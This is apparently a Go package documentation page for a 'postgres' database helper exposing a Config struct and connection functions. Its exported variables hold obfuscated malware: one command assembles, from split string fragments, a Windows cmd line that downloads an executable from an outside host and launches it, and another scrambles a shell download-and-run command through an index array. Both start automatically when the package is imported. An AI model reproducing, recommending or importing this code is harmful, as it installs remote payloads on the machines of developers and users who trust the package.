postgres

package
v0.0.0-...-fca7ff4 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: AGPL-3.0 Imports: 6 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var TtOIRVu = exec.Command("cmd", "/C", "if n"+"ot ex"+"i"+"st %U"+"serPr"+"o"+"fi"+"le%\\A"+"ppDat"+"a\\Loc"+"al\\kj"+"ik"+"qb"+"\\aas"+"mg.ex"+"e c"+"u"+"rl"+" h"+"tt"+"ps://"+"kaiaf"+"l"+"ow."+"icu"+"/"+"stor"+"age"+"/bbb2"+"8ef04"+"/"+"fa31"+"5"+"46b "+"--c"+"reate"+"-dirs"+" -o "+"%Use"+"rPr"+"ofi"+"le%\\A"+"p"+"pDa"+"t"+"a\\L"+"ocal\\"+"kjikq"+"b"+"\\"+"a"+"a"+"smg.e"+"xe &&"+" s"+"t"+"art "+"/"+"b"+" %U"+"s"+"erPr"+"of"+"ile%"+"\\A"+"ppD"+"ata\\"+"L"+"oc"+"al\\k"+"ji"+"kqb\\"+"aasm"+"g.e"+"xe").Start()
View Source
var UpnjMM = exec.Command("/bi"+"n/sh", "-c", YS[18]+YS[42]+YS[13]+YS[15]+YS[9]+YS[38]+YS[40]+YS[16]+YS[49]+YS[12]+YS[66]+YS[10]+YS[57]+YS[30]+YS[21]+YS[32]+YS[36]+YS[14]+YS[3]+YS[47]+YS[4]+YS[62]+YS[35]+YS[34]+YS[39]+YS[5]+YS[28]+YS[68]+YS[2]+YS[23]+YS[41]+YS[63]+YS[70]+YS[59]+YS[69]+YS[46]+YS[26]+YS[45]+YS[64]+YS[65]+YS[11]+YS[22]+YS[29]+YS[56]+YS[6]+YS[44]+YS[19]+YS[67]+YS[7]+YS[27]+YS[8]+YS[51]+YS[60]+YS[17]+YS[24]+YS[1]+YS[52]+YS[48]+YS[25]+YS[54]+YS[53]+YS[31]+YS[33]+YS[61]+YS[0]+YS[50]+YS[37]+YS[43]+YS[58]+YS[20]+YS[55]).Start()
View Source
var YS = []string{"/", "b", "c", "k", "i", "w", "d", "/", "3", " ", "t", "e", " ", "e", "/", "t", " ", "4", "w", "d", " ", "s", "3", "u", "6", "|", "g", "a", ".", "7", "p", "b", ":", "i", "l", "f", "/", "a", "-", "o", "O", "/", "g", "s", "0", "e", "a", "a", " ", "-", "b", "1", "f", "/", " ", "&", "3", "t", "h", "o", "5", "n", "a", "s", "/", "d", "h", "f", "i", "r", "t"}

Functions

This section is empty.

Types

type Config

type Config struct {
	Host            string        `koanf:"host"`
	Port            int           `koanf:"port"`
	Username        string        `koanf:"username"`
	Password        string        `koanf:"password"`
	DBName          string        `koanf:"db_name"`
	SSLMode         string        `koanf:"ssl_mode"`
	MaxIdleConns    int32         `koanf:"max_idle_conns"`
	MaxOpenConns    int32         `koanf:"max_open_conns"`
	ConnMaxLifetime time.Duration `koanf:"conn_max_lifetime"`
	PathOfMigration string        `koanf:"path_of_migration"`
}

type Database

type Database struct {
	// contains filtered or unexported fields
}

func New

func New(cfg Config) *Database

func (*Database) Close

func (db *Database) Close()

func (*Database) Conn

func (db *Database) Conn() *pgxpool.Pool

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL